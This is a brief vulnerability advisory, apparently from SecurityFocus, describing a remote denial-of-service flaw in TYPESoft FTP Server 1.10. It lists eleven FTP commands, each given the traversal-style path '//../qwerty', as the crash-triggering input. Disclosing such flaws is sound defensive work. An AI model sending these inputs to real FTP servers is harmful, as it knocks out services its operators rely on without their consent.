source: https://www.securityfocus.com/bid/9702/info

It has been reported that TYPESoft FTP Server is prone to a remote denial of service vulnerability that may allow an attacker to cause the server to crash.

This vulnerability has been reported to affect version 1.10 of the software, however, previous versions may also be affected. 

mkd //../qwerty
xmkd //../qwerty
dele //../qwerty
size //../qwerty
retr //../qwerty
stor //../qwerty
appe //../qwerty
rnfr //../qwerty
rnto //../qwerty
rmd //../qwerty
xrmd //../qwerty